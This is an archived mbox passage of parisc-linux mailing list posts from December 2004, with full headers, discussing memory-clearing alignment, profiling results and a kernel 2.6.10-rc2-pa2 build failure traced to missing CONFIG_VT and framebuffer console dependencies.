X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: *lcul and memory granularity question[Was: [parisc-linux]
	2.6.10-rc1-pa11 profile data]
Date: Fri, 03 Dec 2004 15:00:33 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <41B07F91.9000000@tiscali.be>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623614 11917 80.91.229.3 (22 Nov 2014 02:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9576 invoked by uid 65534); 3 Dec 2004 15:39:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 03 Dec 2004 16:39:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6D7353BE68; Fri,  3 Dec 2004 08:01:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20021-04; Fri, 3 Dec 2004 08:01:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E5A23BE71; Fri,  3 Dec 2004 08:00:46 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E58D3BE6D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 08:00:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20015-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 08:00:41 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id AD5343BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 08:00:40 -0700 (MST)
Original-Received: from [83.134.227.55] (helo=[83.134.227.55])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CaEvH-0004NO-ID; Fri, 03 Dec 2004 16:00:39 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041111081154.GR15714@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22174

Hello all,

Randolph Chung wrote:
> - *lclu* can be rewritten to do better than 1-byte at a time

I have an additional question about parisc alignment and this remark:
a char type var is 1byte align; ... but what's about a 3, 5, 7 and more bytes struct size?

My idea is that a 3bytes could be align as a 32bites word and clearing such struct could be done by clearing all the word;
the same for 5 and 7 bytes if aligned as 2*32bites and so on for an unrolled loop of the max cache size (128 bytes iirc);
and btw using a case define as we use for __put/get__user/kernel_asm?

Or the memory management is more complex then I imagine and I would really consider a 3bytes as 2+1 bytes (5=2*2+1, ...)?

Thanks a lot,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: More questions [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Fri, 3 Dec 2004 07:41:59 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20041203154159.GB6359@tausq.org>
References: <418A80AE0000A9A8@mail-4-bnl.tiscali.it>
	<41B03ED8.8090505@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623615 11918 80.91.229.3 (22 Nov 2014 02:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10344 invoked by uid 65534); 3 Dec 2004 17:53:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 03 Dec 2004 18:53:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3FBDA3BE7D; Fri,  3 Dec 2004 08:42:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20276-05; Fri, 3 Dec 2004 08:42:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BF51F3BE77; Fri,  3 Dec 2004 08:42:15 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 716C13BE72
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 08:42:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20276-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 08:42:01 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 0F8BA3BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 08:42:01 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 4677F43810; Fri,  3 Dec 2004 07:41:59 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <41B03ED8.8090505@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22175

> I test it on my b2k with 64bit kernel and it works but it didn't seems to 
> bring me any benefit?
> As far as I can believe readprofile: the ratio between the first and last 
> column is always the same (1/80 in this case).
> What did I miss?

what workload did you test this on? possibly you only see a benefit with
workloads that need to do a lot of page clearings.... so you probably
want to find a workload so that the first column is >>1

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rray@tcmail.mstc.state.ms.us
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Fri, 3 Dec 2004 15:55:54 -0600 (CST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623615 11921 80.91.229.3 (22 Nov 2014 02:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28398 invoked by uid 65534); 3 Dec 2004 21:58:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 03 Dec 2004 22:58:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 738353BE48; Fri,  3 Dec 2004 14:58:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24203-02; Fri, 3 Dec 2004 14:58:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 315E23BE68; Fri,  3 Dec 2004 14:58:14 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DBE73BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 14:58:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23744-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 14:58:09 -0700 (MST)
Original-Received: from itspmx1.state.ms.us (e3000a.state.ms.us [205.144.224.140])
	by free.linux.hp.com (Postfix) with ESMTP id 825493BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 14:58:03 -0700 (MST)
Original-Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220])
	by itspmx1.state.ms.us (8.12.10/8.12.10) with SMTP id iB3LsQZW000087
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 15:54:26 -0600 (CST)
	(envelope-from rray@tcmail.mstc.state.ms.us)
Original-Received: from rray.drdc.mstc.ms.gov ([172.17.32.2])
	by tcmail.mstc.state.ms.us; Fri, 03 Dec 2004 15:57:31 -0600
Original-Received: from rray.drdc.mstc.ms.gov (rray.drdc.mstc.ms.gov [127.0.0.1])
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11) with ESMTP id iB3LtscC008393
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 15:55:54 -0600
Original-Received: from localhost (rray@localhost)
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11/Submit) with ESMTP id
	iB3LtsPt008390 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 15:55:54 -0600
X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs
X-X-Sender: rray@rray.drdc.mstc.ms.gov
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22176

I got cvs.parisc-linux.org/download/linux-2.6/linux-2.6.10-rc2-pa2.tar.bz2
and attempted to compile it with standard options set.
It fails with

drivers/built-in.o: In function `sti_select_fbfont':
drivers/built-in.o(.init.text+0x2eb4): undefined reference to `find_font'
drivers/built-in.o(.init.text+0x2fd4): undefined reference to `get_default_font'
make: *** [.tmp_vmlinux1] Error 1

I'm building this on a K200.
Any suggestions?

Thanks
Richard Ray

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Sat, 4 Dec 2004 12:02:01 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20041204190201.GC30126@colo.lackof.org>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623615 11923 80.91.229.3 (22 Nov 2014 02:33:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rray@tcmail.mstc.state.ms.us
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17432 invoked by uid 65534); 4 Dec 2004 19:43:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 04 Dec 2004 20:43:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9A0C3BE47; Sat,  4 Dec 2004 12:03:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02361-06; Sat, 4 Dec 2004 12:03:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 262203BE49; Sat,  4 Dec 2004 12:02:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 907CD3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 12:02:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02361-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 12:02:38 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 112943BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 12:02:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E6F00298028; Sat,  4 Dec 2004 12:02:36 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32101-02; Sat, 4 Dec 2004 12:02:01 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DAE2C298034; Sat,  4 Dec 2004 12:02:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22177

On Fri, Dec 03, 2004 at 03:55:54PM -0600, rray@tcmail.mstc.state.ms.us wrote:
> I got cvs.parisc-linux.org/download/linux-2.6/linux-2.6.10-rc2-pa2.tar.bz2
> and attempted to compile it with standard options set.

Sorry - I need a better definition of "standard" options.
Can you point at a specific .config file?
Perhaps one of those used by the autobuilder?

(See http://cvs.parisc-linux.org/download/linux-2.6/)

> It fails with
> 
> drivers/built-in.o: In function `sti_select_fbfont':
> drivers/built-in.o(.init.text+0x2eb4): undefined reference to `find_font'
> drivers/built-in.o(.init.text+0x2fd4): undefined reference to `get_default_font'
> make: *** [.tmp_vmlinux1] Error 1
> 
> I'm building this on a K200.
> Any suggestions?

I suspect a dependency is missing in the Kconfig file.
Can you enable CONFIG_VT and see if that fixes the problem?

See drivers/video/Makefile - it only builds drivers/video/console/fonts.c
if CONFIG_VT is enabled. Ergo CONFIG_FB_STI depends on CONFIG_VT
but that's not encoded in drivers/video/Kconfig:
config FB_STI
        tristate "HP STI frame buffer device support"
        depends on FB && PARISC
        default y
...

Hrm...Looking at drivers/video/console/Kconfig it seems
enabling CONFIG_FRAMEBUFFER_CONSOLE is also required.
Please verify that is also enabled.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Sat, 4 Dec 2004 15:20:43 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20041204202043.GB4327@roadwarrior.mcmartin.ca>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623616 11926 80.91.229.3 (22 Nov 2014 02:33:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rray@tcmail.mstc.state.ms.us
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31234 invoked by uid 65534); 4 Dec 2004 20:22:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 04 Dec 2004 21:22:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F7BC3BE49; Sat,  4 Dec 2004 13:22:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03048-05; Sat, 4 Dec 2004 13:22:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 238703BE4B; Sat,  4 Dec 2004 13:21:54 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D39203BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 13:21:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03048-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 13:21:48 -0700 (MST)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id EFFD43BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 13:21:47 -0700 (MST)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-7.1) with ESMTP id
	iB4KLoxt015065; Sat, 4 Dec 2004 15:21:50 -0500
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1CagHp-0005kZ-00; Sat, 04 Dec 2004 15:13:46 -0500
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22178

On Fri, Dec 03, 2004 at 03:55:54PM -0600, rray@tcmail.mstc.state.ms.us wrote:
> I got cvs.parisc-linux.org/download/linux-2.6/linux-2.6.10-rc2-pa2.tar.bz2
> and attempted to compile it with standard options set.

Er, can you post the .config you used?

I just build that kernel with defconfig, and it linked fine.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Mosberger <davidm@napali.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-Linux version of libunwind
Date: Sat, 4 Dec 2004 17:19:47 -0800
Lines: 58
Approved: news@gmane.org
Message-ID: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
Reply-To: davidm@hpl.hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623616 11927 80.91.229.3 (22 Nov 2014 02:33:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14559 invoked by uid 65534); 5 Dec 2004 01:20:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 05 Dec 2004 02:20:55 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA6CD3BE47; Sat,  4 Dec 2004 18:20:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06150-03; Sat, 4 Dec 2004 18:20:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BCF453BE49; Sat,  4 Dec 2004 18:19:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B45EF3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 18:19:51 -0700 (MST)
